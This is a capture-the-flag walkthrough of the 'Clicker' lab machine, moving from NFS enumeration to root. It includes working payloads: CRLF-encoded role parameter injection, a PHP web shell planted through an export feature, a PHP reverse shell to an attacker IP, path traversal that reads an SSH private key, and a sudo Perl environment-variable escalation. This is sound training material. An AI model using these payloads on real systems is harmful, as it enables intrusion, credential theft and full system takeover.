# Clicker

## Box info

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2FlFRN2yLSv9hmvW6TjkVG%2FClicker.png?alt=media&#x26;token=0f0fce5b-dc7d-41eb-954d-ff06bf36b959" alt="" width="563"><figcaption></figcaption></figure>

## Enumeration

### Nmap

Let's start with scanning the target using `Nmap`:

```
szczygielka@hacks$ nmap -sVC -p- 10.129.214.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-24 11:16 EST
Nmap scan report for 10.129.214.66
Host is up (0.039s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_  256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp    open  http     Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Did not follow redirect to http://clicker.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      46145/udp   mountd
|   100005  1,2,3      53393/tcp6  mountd
|   100005  1,2,3      54223/tcp   mountd
|   100005  1,2,3      55722/udp6  mountd
|   100021  1,3,4      33811/tcp6  nlockmgr
|   100021  1,3,4      39313/udp   nlockmgr
|   100021  1,3,4      43051/tcp   nlockmgr
|   100021  1,3,4      43382/udp6  nlockmgr
|   100024  1          52055/udp   status
|   100024  1          53537/tcp6  status
|   100024  1          53598/udp6  status
|   100024  1          53993/tcp   status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
38127/tcp open  mountd   1-3 (RPC #100005)
43051/tcp open  nlockmgr 1-4 (RPC #100021)
53993/tcp open  status   1 (RPC #100024)
54223/tcp open  mountd   1-3 (RPC #100005)
55825/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.65 seconds

```

The `Nmap` output gives us information about many open ports. Let's discuss the content of the most important of them. We can see that port 22 (`SSH`) is open. On port 80, there is an `Apache` HTTP server with the domain `http://clicker.htb/`. On port 111 there is a `RPC`, which is a remote procedure calling protocol. RPC allows you to register various services and make them available on different ports.&#x20;

The HackTricks [article](https://book.hacktricks.xyz/network-services-pentesting/pentesting-rpcbind) indicates that a service on port 111 is a portmapper. Portmapper is utilized for mapping network service ports to RPC program numbers. The `NFS` is running on port 2049. Due to the HackTricks [article](https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting), NFS allows users access files over a network as though these files were located within a local directory.&#x20;

First, let's add the domain `clicker.htb` from port 80 to `/etc/hosts`:

```
10.129.214.66    clicker.htb
```

### Exploring website

Let's start by checking the content of the website `http://clicker.htb/`. The website contains a game `Clicker`:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2FOvcY7JkVytdr04fXTTZW%2Fimage.png?alt=media&#x26;token=72882aaa-24e8-430e-b67e-5f85b5689467" alt=""><figcaption></figcaption></figure>

The website allows us to register and log in. So let's create a new account:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2FdqK94tPCBhCxhQdNUN5I%2Fimage.png?alt=media&#x26;token=6046037f-54cc-4eb8-b45f-64050dd82418" alt=""><figcaption></figcaption></figure>

Next, log in to the created account:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2FtlxlG9rMLAmcvu48WjCK%2Fimage.png?alt=media&#x26;token=cf0dbabc-adaa-486b-8b64-36119e85b80f" alt=""><figcaption></figcaption></figure>

After logging in, we can only play the game or log out:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2FlnyviGS2f8OaY4NoQRxx%2Fimage.png?alt=media&#x26;token=b2b4088d-30ec-49c4-a66c-7e78058b6943" alt="" width="306"><figcaption></figcaption></figure>

Analyzing queries in the `Burp` leads us to increase our number of clicks and raise our level:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2F0v8eh8DijWw6sy2sDhac%2Fimage.png?alt=media&#x26;token=313497a4-4052-4466-af56-2e80de73c4b2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2FVjBGlCgjcGYP9xdOteyD%2Fimage.png?alt=media&#x26;token=23eaf79a-14c2-4cbd-9d50-2a2a157c16d0" alt="" width="274"><figcaption></figcaption></figure>

Analysis of the rest of the HTTP requests in the `Burp` does not provide any other interesting information at the moment. So we have to keep looking for ways to gain a foothold.

### NFS pentesting

The [information](https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting) available on HackTricks indicates that NFS does not have a built-in authentication or authorization mechanism. It also indicates that if `NFS` is running with `RPC`, we will probably be able to download or view some files, which may lead us to get more information about the target machine.

We can use the `Nmap` script called `nfs-ls`, to check what directory is shared by `NFS` and check its content:

```
szczygielka@hacks$ sudo nmap --script=nfs-ls -p 111 10.129.214.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-24 13:04 EST
Nmap scan report for clicker.htb (10.129.214.66)
Host is up (0.038s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-ls: Volume /mnt/backups
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID    GID    SIZE     TIME                 FILENAME
| rwxr-xr-x   65534  65534  4096     2023-09-05T19:19:10  .
| ??????????  ?      ?      ?        ?                    ..
| rw-r--r--   0      0      2284115  2023-09-01T20:27:06  clicker.htb_backup.zip
|_

Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
```

Nmap returned one available directory `/mnt/backups`. We can mount this directory in our system via the following command:

```
sudo mount -t nfs 10.129.214.66:/mnt/backups /mnt -o nolock
```

The `-o nolock` option in the command disables file locking, which is enabled by default. This setting is sometimes required when connecting to older `NFS` servers. Now we can check what it gives us.

Let's copy the file `clicker.htb_backup.zip` to our directory and unzip it:

```
szczygielka@hacks$ cp clicker.htb_backup.zip /home/szczygielka/Documents/
szczygielka@hacks$ unzip clicker.htb_backup.zip 
Archive:  clicker.htb_backup.zip
   creating: clicker.htb/
  inflating: clicker.htb/play.php    
  inflating: clicker.htb/profile.php  
  inflating: clicker.htb/authenticate.php  
  inflating: clicker.htb/create_player.php  
  inflating: clicker.htb/logout.php  
  <SNIP>
```

List the content of the `clicker.htb` directory:&#x20;

```
szczygielka@hacks$ ls -la
total 72
drwxr-xr-x 4 szczygielka szczygielka 4096 Sep  1 16:21 .
drwxr-xr-x 3 szczygielka szczygielka 4096 Feb 24 13:15 ..
-rw-rw-r-- 1 szczygielka szczygielka 3934 Sep  1 16:18 admin.php
drwxr-xr-x 4 szczygielka szczygielka 4096 Feb 28  2023 assets
-rw-rw-r-- 1 szczygielka szczygielka  608 Sep  1 16:17 authenticate.php
-rw-rw-r-- 1 szczygielka szczygielka  541 Sep  1 16:17 create_player.php
-rw-rw-r-- 1 szczygielka szczygielka 2536 Sep  1 16:18 db_utils.php
-rw-r--r-- 1 szczygielka szczygielka 1376 Sep  1 16:18 diagnostic.php
-rw-rw-r-- 1 szczygielka szczygielka 1977 Sep  1 16:18 export.php
drwxr-xr-x 2 szczygielka szczygielka 4096 Sep  1 16:18 exports
-rw-rw-r-- 1 szczygielka szczygielka 3887 Sep  1 16:18 index.php
-rw-rw-r-- 1 szczygielka szczygielka 3423 Sep  1 16:18 info.php
-rw-rw-r-- 1 szczygielka szczygielka 3301 Sep  1 16:18 login.php
-rw-rw-r-- 1 szczygielka szczygielka   74 Sep  1 16:17 logout.php
-rw-rw-r-- 1 szczygielka szczygielka 3341 Sep  1 16:17 play.php
-rw-rw-r-- 1 szczygielka szczygielka 3070 Sep  1 16:17 profile.php
-rw-rw-r-- 1 szczygielka szczygielka 3333 Sep  1 16:18 register.php
-rw-rw-r-- 1 szczygielka szczygielka  563 Sep  1 16:18 save_game.php
```

The content of the extracted `clicker.htb` directory contains PHP source code for the `Clicker` website. One of the more interesting files is `admin.php`. At the beginning of the file, it is checked whether the user role is `Admin`:

```
<?php
session_start();
include_once("db_utils.php");

if ($_SESSION["ROLE"] != "Admin") {
  header('Location: /index.php');
  die;
}
?>
```

So let's look for the possibility of assigning a role to an ordinary user. In the `save_game.php` file, which saves the game state, we can see that there is a check whether one of the parameters sent in the `GET` query is `role`:

```
<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
	$args = [];
	foreach($_GET as $key=>$value) {
		if (strtolower($key) === 'role') {
			// prevent malicious users to modify role
			header('Location: /index.php?err=Malicious activity detected!');
			die;
		}
		$args[$key] = $value;
	}
	save_profile($_SESSION['PLAYER'], $_GET);
	// update session info
	$_SESSION['CLICKS'] = $_GET['clicks'];
	$_SESSION['LEVEL'] = $_GET['level'];
	header('Location: /index.php?msg=Game has been saved!');
	
}
?>
```

This check is probably intended to protect against modification of the `role` sent as a `GET` query parameter. If we managed to bypass this limitation, we should be able to assign ourselves the `Admin` role and gain access to the administrator panel, i.e. `admin.php`.

### Getting Admin on the website

Let's capture a `GET` query containing the current game state using the `Burp` and let's try to bypass the restrictions on the `role` parameter. We can try to bypass it using CRLF injection.&#x20;

Let's send one of the following payloads:&#x20;

CR (%0d):

```
/save_game.php?clicks=200000&level=10000&role%0d=Admin
```

or LF (%0a):

```
/save_game.php?clicks=200000&level=10000&role%0a=Admin
```

or sending %0d%0a at once&#x20;

It causes that game was saved correctly:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2FdSAhM3LHkLI1PVODrzWL%2Fimage.png?alt=media&#x26;token=4d7b84c9-7bed-4bb2-84ae-1591add754a7" alt=""><figcaption></figcaption></figure>

This machine is therefore vulnerable to CRLF Injection. Now after logging in again, we are user with `Admin` role and we gain access to the administration panel:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2FPXZUBtIc3l1JhAfHGb3d%2Fimage.png?alt=media&#x26;token=3df7260f-6b7c-4f65-8224-45f0eb777578" alt=""><figcaption></figcaption></figure>

In `Administration Panel` we get information about `Top players` and we can export them to `txt`, `json` or `html` format:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2FYRVZJJQVVI67mAEE8sVx%2Fimage.png?alt=media&#x26;token=47b4d941-b974-4f7a-bca9-7898511ccba7" alt=""><figcaption></figcaption></figure>

After clicking the `Export` button, a `POST` query is sent with two parameters `threshold` and `extension`:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2F6qvt8F6V7p0LGufYAnM4%2Fimage.png?alt=media&#x26;token=050395a8-e15a-42c0-ab97-cadc7bc7c2ee" alt=""><figcaption></figcaption></figure>

Additionally, the website does not seem to check the value of `extension` parameter provided in the query, so we can set it to any value, for example `php`:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2FsCOcrtK0MqATDwHGHWzF%2Fimage.png?alt=media&#x26;token=593f3203-939d-460f-ac43-aa9f761f562a" alt=""><figcaption></figcaption></figure>

After exporting the data to the `txt` format, we receive the path to which the data was saved:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2F09rL1QO61jtRQeCA5vS2%2Fimage.png?alt=media&#x26;token=ffd07b1c-91ba-49a9-af25-54f71032cd6d" alt=""><figcaption></figcaption></figure>

Let's save the top players in the `txt` format. After going to the file preview, we can see that in addition to the 4 best users, the first line contains information about our current user:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2FeoLWcKhOE8gbZCA1ieMl%2Fimage.png?alt=media&#x26;token=013fe6da-7ae2-49ce-82c0-fcc7f8abc402" alt=""><figcaption></figcaption></figure>

Let's look at the `export.php` code. On line 47 we can see that the username of the current user, which is displayed in the exported file, is stored by the `nickname`:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2F9EelwKsL3HX6Eyk7Y3SK%2Fimage.png?alt=media&#x26;token=45fa9180-066e-48f3-be8f-5940378ba441" alt=""><figcaption></figcaption></figure>

We know that we can change the format of the exported data to any format. If we change the file format to PHP and overwrite the `nickname` in a certain way, we should get a web shell.

### Webshell as www-data

We already know that we can add additional parameters when sending a `POST` query to the `save_game.php`,  so we will try to modify the `nickname` with this query. As a payload, we will use the following PHP web shell code:

<pre><code><strong>&#x3C;?php system($_GET['cmd']);?>
</strong></code></pre>

This payload should allow us to send commands in the `cmd` parameter of the `GET` query:

```
/save_game.php?clicks=200000&level=10000&nickname=<?php+system($_GET['cmd']);?>
```

Let's send the request via `Burp`:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2FP3N7MJy8jzPADOEC9Fs8%2Fimage.png?alt=media&#x26;token=5b989aed-763b-496b-8adf-f0a592052e36" alt=""><figcaption></figcaption></figure>

Then send a query that will allow us to generate a PHP file:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2F5OgP8sIvoaLAPgaTsKYb%2Fimage.png?alt=media&#x26;token=19bfbc64-5637-4d3e-bcfb-ea8dfb363178" alt=""><figcaption></figcaption></figure>

Now, we can use the generated file by setting the `cmd` parameter to `id`:

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2FFSh9oAuL5QZwlVSpsLX7%2Fimage.png?alt=media&#x26;token=596270e2-dc05-4c65-b32a-29b83ae6c13a" alt=""><figcaption></figcaption></figure>

### Reverse shell

We have remote code execution. We can now try to get a reverse shell. Let's prepare the listener:

```
szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...
```

We will use `PHP exec` payload from [this](https://www.revshells.com/) page:

```
php -r '$sock=fsockopen("10.10.14.73",443);exec("sh <&3 >&3 2>&3");'
```

Sending the prepared payload as the value of the `cmd` parameter gives a reverse shell:

```
szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.212.114] 57440
```

Let's upgrade the shell:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

We got a reverse shell as `www-data` user:

```
www-data@clicker:/var/www/clicker.htb/exports$ whoami
www-data
```

In `/opt/manage` directory we find 2 files belonging to the user `jack`:

```
www-data@clicker:/opt/manage$ ls -la
ls -la
total 28
drwxr-xr-x 2 jack jack  4096 Jul 21  2023 .
drwxr-xr-x 3 root root  4096 Jul 20  2023 ..
-rw-rw-r-- 1 jack jack   256 Jul 21  2023 README.txt
-rwsrwsr-x 1 jack jack 16368 Feb 26  2023 execute_query
```

Let's print the file `README.txt`:

```
www-data@clicker:/opt/manage$ cat README.txt
Web application Management

Use the binary to execute the following task:
        - 1: Creates the database structure and adds user admin
        - 2: Creates fake players (better not tell anyone)
        - 3: Resets the admin password
        - 4: Deletes all users except the admin
```

The `execute_query` file turns out to be a shared library:

```
www-data@clicker:/opt/manage$ file execute_query
execute_query: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cad57695aba64e8b4f4274878882ead34f2b2d57, for GNU/Linux 3.2.0, not stripped
```

Let's download this library to our attacking machine. To download the file on the target machine let's start the Python HTTP server:

```
www-data@clicker:/opt/manage$ python3 -m http.server 8080
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
```

&#x20;and then download it:

```
szczygielka@hacks$  wget 10.129.214.66:8080/execute_query
--2024-02-24 18:09:42--  http://10.129.214.66:8080/execute_query
Connecting to 10.129.214.66:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16368 (16K) [application/octet-stream]
Saving to: ‘execute_query’

execute_query                                              100%[========================================================================================================================================>]  15.98K  --.-KB/s    in 0.04s   

2024-02-24 18:09:43 (430 KB/s) - ‘execute_query’ saved [16368/16368]
```

Now let's decompile the `execute_query` code.&#x20;

<figure><img src="https://1764482864-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsK05LA2NAjKs68dl8qHP%2Fuploads%2FsZVBvjpuotqkSIJMqjWz%2Fpseudocode.png?alt=media&#x26;token=c4c845fb-63eb-4aa9-8939-8dd1ac5599da" alt=""><figcaption></figcaption></figure>

The content of the main function shows that if a value other than an integer from 0 to 4 is given as an argument, the following line should be executed:

```
strncpy(dest, argv[2], 0x14uLL);
```

In this line, the third element from the `argv` table is copied to `dest`. The first element of the `argv` array is the program name, and its next elements are the arguments of the call. The value of the `dest` variable is set as the given argument of the `execute_query` and then in the next line the following path is added to this variable:

```
/home/jack/queries/
```

If the file path is correct and readable, the system command running mysql is executed with the path obtained from concatenating the path `/home/jack/queries/` with the string given in the argument of `execute_query` application:

{% code overflow="wrap" %}
```
/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < /home/jack/queries/<given string in argument>
```
{% endcode %}

Everything indicates that it may be possible to read files located in the `/home/jack/queries/` directory. However, we can add `"../"` and try to read other files that are inaccessible to us. Because port 22 is open, we want to check whether there is an SSH key in the home directory of the user `jack`. By default, the key should be located at the following path:

```
~/.ssh/id_rsa
```

In this case, `SSH` private key directory should be located in the following location:

```
/home/jack/queries/.ssh/id_rsa
```

Executing the following command returned the contents of the `id_rsa` file:

```
www-data@clicker:/opt/manage$ ./execute_query 5 ../.ssh/id_rsa
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
<SNIP>
LsOxRu230Ti7tRBOtV153KHlE4Bu7G/d028dbQhtfMXJLu96W1l3Fr98pDxDSFnig2HMIi
lL4gSjpD/FjWk9AAAADGphY2tAY2xpY2tlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY---
--------------

ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA' at line 1
```

Let's save this SSH private key as `id_rsa` file on the attacking machine, Due to the fact the private key format was not returned correctly, we need to modify its beginning and end. Let's generate a key pair to see what the correct OpenSSH key format should look like:

```
szczygielka@hacks$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/szczygielka/.ssh/id_ed25519): ./ssh_test_key
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./ssh_test_key
Your public key has been saved in ./ssh_test_key.pub
The key fingerprint is:
SHA256:KZOcOvJodNb1kTS6PiUr9TJYrliVu0b0/No1+1NRcmA szczygielka@hacks
The key's randomart image is:
<SNIP>
```

Change deformed lines in `id_rsa` to the same as in the generated `ssh_test_key` private key.&#x20;

Let's try to log in to SSH as `jack` using private key `id_rsa`:

```
szczygielka@hacks$ ssh -i id_rsa jack@10.129.212.114
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Feb 25 01:43:22 AM UTC 2024

  System load:           0.3203125
  Usage of /:            53.3% of 5.77GB
  Memory usage:          16%
  Swap usage:            0%
  Processes:             260
  Users logged in:       0
  IPv4 address for eth0: 10.129.212.114
  IPv6 address for eth0: dead:beef::250:56ff:fe96:f957


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

jack@clicker:~$ 
```

We have successfully logged in as `jack`.

### User flag

We can obtain a user flag from `/home/jack/user.txt`.

## Privilege escalation

Let's check if `jack` can run commands with `sudo` privileges:

```
jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh
```

It turns out that `jack` can run the `/opt/monitor.sh` script with `sudo` privileges without a password. So let's check the contents of the `monitor.sh` script:

```
jack@clicker:~$  cat /opt/monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
```

At the beginning of the script, a check is made whether the `EUID` value is other than 0, then the user is asked to run the script as root. `EUID` (Effective UID) is the user ID the process is executing. Then the `PATH` variable is set and the `PERL5LIB` and `PERLLIB` variables are unset. Then, a the `GET` request is made using `curl` to the `Clicker` application, more precisely to its page `/diagnostic.php`. This page returns data that is stored in the data variable and then calls `/usr/bin/xml_pp` with this data. Then, if the `NOSAVE` variable is set to a value other than `true`, `echo` is used to write the data to the XML file.

Let's check what `/usr/bin/xml_pp` is:

```
jack@clicker:~$ file /usr/bin/xml_pp
/usr/bin/xml_pp: Perl script text executable
```

Let's look for more information about the possibility of using Perl for privilege escalation.&#x20;

### CVE-2016-1531

From the [article](https://www.elttam.com/blog/env/#content) we learn that it is possible to use specific Perl environment variables, as well as environment variables of other scripting languages to execute arbitrary code. For this purpose, certain environment variables must be set in a specific way. The article cites an example of a vulnerability known as perl\_startup, classified as CVE-2016-1531. An [exploit](https://github.com/HackerFantastic/exploits/blob/master/cve-2016-1531.sh) for this vulnerability indicates the possibility of using variables `PERL5LIB` and `PERL5OPT` to code execution. The cited article also indicates the possibility of using the `PERL5DB` environment variable for the same purpose:

```
PERL5OPT=-d PERL5DB=system("sh");exit;
```

From the Perl environment variables [documentation](https://perldoc.perl.org/perlrun#PERL5OPT), it appears that the `PERL5OPT` variable is used to specify the default command line switches for Perl. This variable therefore gives you the ability to influence Perl's behavior by setting command line options. Setting the `PERL5OPT` variable to `-d` indicates a program execution under a debugger. From the Perl help command:

```
-d[:debugger]     run program under debugger
```

According to the information from the Ubuntu [website](https://manpages.ubuntu.com/manpages/focal/man1/perldebug.1.html), the `PERL5DB` variable contains the code that runs the Perl debugger. This variable can be changed to set a different debugger or any code, that will be executed.&#x20;

### Exploitation

We can't use `PERL5LIB` and `PERLLIB`, due to the fact they are unset in `/opt/monitor.sh` script, so we will try to use `PERL5OPT` and `PERL5DB` variables.&#x20;

Indirectly calling the `/usr/bin/xml_pp` script by calling the `/opt/monitor.sh` script with `sudo` permissions should allow us to add the SUID attribute to the `/bin/bash` file via Perl environment variables, which should result in the ability to elevate privileges.&#x20;

Let's prepare `PERL5OPT` and `PERL5DB` variables:

```
PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"'
```

Now let's execute the `/opt/monitor.sh` script with `sudo` permissions, providing the prepared variables in Perl:

```
jack@clicker:~$ sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.sh
Statement unlikely to be reached at /usr/bin/xml_pp line 9.
        (Maybe you meant system() when you said exec()?)
```

Then let's run the `bash` shell in privileged mode and let's check who we are with the `whoami` command:

```
jack@clicker:~$ bash -p
bash-5.1# whoami
root
bash-5.1# 
```

We get shell as `root` user.

### Root flag

The previous steps lead us to the `root` user. The root flag can be obtained from `/root/root.txt`.&#x20;
